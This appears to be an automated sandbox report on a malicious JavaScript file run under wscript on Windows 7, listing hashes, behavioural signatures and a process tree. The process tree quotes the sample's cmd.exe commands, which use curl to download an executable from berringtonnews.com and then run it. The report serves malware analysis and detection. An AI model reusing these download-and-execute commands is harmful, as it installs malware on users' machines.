Analysis
-
max time kernel
118s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20231129-en -
resource tags
arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system -
submitted
13-02-2024 05:21
Static task
static1
Behavioral task
behavioral1
Sample
ce616c5d472d8d22169e1cabd8c99a511394b1c28febc944f427137a0354e8db.js
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
ce616c5d472d8d22169e1cabd8c99a511394b1c28febc944f427137a0354e8db.js
Resource
win10v2004-20231215-en
General
-
Target
ce616c5d472d8d22169e1cabd8c99a511394b1c28febc944f427137a0354e8db.js
-
Size
38KB
-
MD5
ebe1d46af488131413a3c3965dba1fb2
-
SHA1
1e2e8860d5f7a73f921f6bc4e4247bcc2ed2afa3
-
SHA256
ce616c5d472d8d22169e1cabd8c99a511394b1c28febc944f427137a0354e8db
-
SHA512
b0d2d7cc9ec0dd750f1e883891933b8a5a9e87ea3bbe6b043d0535e3e6631f9880672d948876d3b2410596b760e7b240c5aebb2b2d9fc1d2c3c7dd5d5c015ac6
-
SSDEEP
768:tc2qKuiH3OXsHOEcMBcLwzAgD4cyEa9WAhpDg2Aa8SwoLKkVuM6juXUydb03xClb:WfxUnEcsSTVlSB
Malware Config
Signatures
-
Blocklisted process makes network request 3 IoCs
flow pid Process 3 2216 wscript.exe 6 2216 wscript.exe 8 2216 wscript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Delays execution with timeout.exe 1 IoCs
pid Process 2944 timeout.exe -
Suspicious use of WriteProcessMemory 24 IoCs
description pid Process procid_target PID 2216 wrote to memory of 1760 2216 wscript.exe 28 PID 2216 wrote to memory of 1760 2216 wscript.exe 28 PID 2216 wrote to memory of 1760 2216 wscript.exe 28 PID 2216 wrote to memory of 2736 2216 wscript.exe 30 PID 2216 wrote to memory of 2736 2216 wscript.exe 30 PID 2216 wrote to memory of 2736 2216 wscript.exe 30 PID 2216 wrote to memory of 2784 2216 wscript.exe 32 PID 2216 wrote to memory of 2784 2216 wscript.exe 32 PID 2216 wrote to memory of 2784 2216 wscript.exe 32 PID 2216 wrote to memory of 1540 2216 wscript.exe 34 PID 2216 wrote to memory of 1540 2216 wscript.exe 34 PID 2216 wrote to memory of 1540 2216 wscript.exe 34 PID 2216 wrote to memory of 876 2216 wscript.exe 36 PID 2216 wrote to memory of 876 2216 wscript.exe 36 PID 2216 wrote to memory of 876 2216 wscript.exe 36 PID 2216 wrote to memory of 2824 2216 wscript.exe 37 PID 2216 wrote to memory of 2824 2216 wscript.exe 37 PID 2216 wrote to memory of 2824 2216 wscript.exe 37 PID 2216 wrote to memory of 1768 2216 wscript.exe 40 PID 2216 wrote to memory of 1768 2216 wscript.exe 40 PID 2216 wrote to memory of 1768 2216 wscript.exe 40 PID 1768 wrote to memory of 2944 1768 cmd.exe 42 PID 1768 wrote to memory of 2944 1768 cmd.exe 42 PID 1768 wrote to memory of 2944 1768 cmd.exe 42
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\ce616c5d472d8d22169e1cabd8c99a511394b1c28febc944f427137a0354e8db.js1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2216 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c mkdir C:\Ctjhkhgkgkdfhd\Djgkgkdfhdjf\Ktdhtfjfhdffkf & curl https://berringtonnews.com/0bvKZ/0.9683069570382816.dat --output C:\Ctjhkhgkgkdfhd\Djgkgkdfhdjf\Ktdhtfjfhdffkf\Ahjukktdtdj.exe2⤵PID:1760
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c mkdir C:\Ctjhkhgkgkdfhd\Djgkgkdfhdjf\Ktdhtfjfhdffkf & curl 0.2856146784629705.dat --output C:\Ctjhkhgkgkdfhd\Djgkgkdfhdjf\Ktdhtfjfhdffkf\Ahjukktdtdj.exe2⤵PID:2736
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c mkdir C:\Ctjhkhgkgkdfhd\Djgkgkdfhdjf\Ktdhtfjfhdffkf & curl 0.8346672529195406.dat --output C:\Ctjhkhgkgkdfhd\Djgkgkdfhdjf\Ktdhtfjfhdffkf\Ahjukktdtdj.exe2⤵PID:2784
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c mkdir C:\Ctjhkhgkgkdfhd\Djgkgkdfhdjf\Ktdhtfjfhdffkf & curl 0.4543165498112442.dat --output C:\Ctjhkhgkgkdfhd\Djgkgkdfhdjf\Ktdhtfjfhdffkf\Ahjukktdtdj.exe2⤵PID:1540
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c mkdir C:\Ctjhkhgkgkdfhd\Djgkgkdfhdjf\Ktdhtfjfhdffkf & curl 0.547184939037962.dat --output C:\Ctjhkhgkgkdfhd\Djgkgkdfhdjf\Ktdhtfjfhdffkf\Ahjukktdtdj.exe2⤵PID:876
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c mkdir C:\Ctjhkhgkgkdfhd\Djgkgkdfhdjf\Ktdhtfjfhdffkf & curl 0.3141437127536761.dat --output C:\Ctjhkhgkgkdfhd\Djgkgkdfhdjf\Ktdhtfjfhdffkf\Ahjukktdtdj.exe2⤵PID:2824
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout 10 & C:\Ctjhkhgkgkdfhd\Djgkgkdfhdjf\Ktdhtfjfhdffkf\Ahjukktdtdj.exe2⤵
- Suspicious use of WriteProcessMemory
PID:1768 -
C:\Windows\system32\timeout.exetimeout 103⤵
- Delays execution with timeout.exe
PID:2944
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
65KB
MD5ac05d27423a85adc1622c714f2cb6184
SHA1b0fe2b1abddb97837ea0195be70ab2ff14d43198
SHA256c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d
SHA5126d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d
-
Filesize
1KB
MD5a266bb7dcc38a562631361bbf61dd11b
SHA13b1efd3a66ea28b16697394703a72ca340a05bd5
SHA256df545bf919a2439c36983b54cdfc903dfa4f37d3996d8d84b4c31eec6f3c163e
SHA5120da8ef4f8f6ed3d16d2bc8eb816b9e6e1345dfe2d91160196c47e6149a1d6aedaafadcefd66acdea7f72dcf0832770192ceac15b0c559c4ccc2c0e5581d5aefc
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357
Filesize242B
MD57b879c95f6b785a3fa0fdf25e8e88297
SHA1e85b5bf172f5256665e2289dc6b6a56aaa73d795
SHA25614a7de742e2ab1fa437f5205abeacc80cf055346110684a18264358408ac1493
SHA51226f8ddfe107bdf4471ff3a66ab457361283009adb615038c27d7a556f70332846a825db98c2936e9797d9ec5bbe9279b6261e7e9bc523ea50a466b94599f0576
-
Filesize
171KB
MD59c0c641c06238516f27941aa1166d427
SHA164cd549fb8cf014fcd9312aa7a5b023847b6c977
SHA2564276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f
SHA512936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06